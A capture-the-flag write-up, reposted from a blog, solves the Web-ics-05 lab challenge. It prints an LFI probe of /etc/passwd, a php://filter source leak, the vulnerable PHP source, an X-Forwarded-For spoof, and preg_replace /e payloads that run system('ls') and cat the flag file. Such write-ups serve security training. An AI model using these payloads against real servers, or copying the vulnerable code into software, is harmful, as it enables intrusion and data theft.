首页 > 其他分享> 文章详细

攻防世界 | Web-ics-05

2022-08-14 12:32:34 阅读：338 来源： 互联网

标签：Web 05 pattern subject die ics php page replacement

题目描述

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

打开题目

先进来随便点点看看有什么功能

除了“设备维护中心”，其他都没反应，对应了题目，那么应该在这里做文章了

路径是这个：http://61.147.171.105:50657/index.php

御剑扫了一下后台没扫出来什么有利用价值的东西

右键查看一下源代码

二话不说，访问就对了

有回显

猜测可能是文件包含

看到page，联想到这题可能是文件包含，试一下index改成 /etc/passswd

八九不离十了

利用php伪协议

?page=php://filter/read=convert.base64-encode/resource=index.php

获得源码

解密一下

<?php
  error_reporting(0);
@session_start();
posix_setuid(1000);
?>
  <!DOCTYPE HTML>
  <html>
  
  <head>
  <meta charset="utf-8">
  <meta name="renderer" content="webkit">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
  <link rel="stylesheet" href="layui/css/layui.css" media="all">
  <title>设备维护中心</title>
  <meta charset="utf-8">
  </head>
  
  <body>
  <ul class="layui-nav">
  <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
  </ul>
  <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
  <legend>设备列表</legend>
  </fieldset>
  <table class="layui-hide" id="test"></table>
  <script type="text/html" id="switchTpl">
  <!-- 这里的 checked 的状态只是演示 -->
  <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
  </script>
  <script src="layui/layui.js" charset="utf-8"></script>
  <script>
  layui.use('table', function() {
    var table = layui.table,
    form = layui.form;
    
    table.render({
      elem: '#test',
      url: '/somrthing.json',
      cellMinWidth: 80,
      cols: [
        [
          { type: 'numbers' },
          { type: 'checkbox' },
          { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
          { field: 'name', title: '设备名', templet: '#nameTpl' },
          { field: 'area', title: '区域' },
          { field: 'status', title: '维护状态', minWidth: 120, sort: true },
          { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
        ]
      ],
      page: true
      });
  });
</script>
  <script>
  layui.use('element', function() {
    var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块
    //监听导航点击
    element.on('nav(demo)', function(elem) {
      //console.log(elem)
      layer.msg(elem.text());
    });
  });
</script>
  
  <?php
  
  $page = $_GET[page];

if (isset($page)) {
  if (ctype_alnum($page)) {
    ?>
      <br /><br /><br /><br />
      <div style="text-align:center">
      <p class="lead"><?php echo $page; die();?></p>
        <br /><br /><br /><br />
        
        <?php
        
    }else{
    
    ?>
      <br /><br /><br /><br />
      <div style="text-align:center">
      <p class="lead">
      <?php
      
      if (strpos($page, 'input') > 0) {
        die();
      }
    
    if (strpos($page, 'ta:text') > 0) {
      die();
    }
    
    if (strpos($page, 'text') > 0) {
      die();
    }
    
    if ($page === 'index.php') {
      die('Ok');
    }
    include($page);
    die();
    ?>
      </p>
      <br /><br /><br /><br />
      
      <?php
    }}

//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
  
  echo "<br >Welcome My Admin ! <br >";
  
  $pattern = $_GET[pat];
  $replacement = $_GET[rep];
  $subject = $_GET[sub];
  
  if (isset($pattern) && isset($replacement) && isset($subject)) {
    preg_replace($pattern, $replacement, $subject);
  }else{
    die();
  }
}
?>
  </body>
  </html>

代码审计

有用的其实也就在最后这点

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
  
  echo "<br >Welcome My Admin ! <br >";
  
  $pattern = $_GET[pat];
  $replacement = $_GET[rep];
  $subject = $_GET[sub];
  
  if (isset($pattern) && isset($replacement) && isset($subject)) {
    preg_replace($pattern, $replacement, $subject);
  }else{
    die();
  }
}
?>

需要在请求包里加上一串这个X-Forwarded-For: 127.0.0.1

接着药注意preg_replace这个函数，这是RCE常见的一个函数

preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换，如果启用/e参数的话，就会将replacement当做php代码执行。

RCE

/index.php?pat=//e&rep=system('ls')&sub=1

到这就解出来了

把右边可疑的一个一个ls一下

最后找到flag.php

最终答案

?pat=//e&rep=system('cat%20s3chahahaDir/flag/flag.php')&sub=1

标签：Web,05,pattern,subject,die,ics,php,page,replacement
来源： https://www.cnblogs.com/mlxwl/p/16585203.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9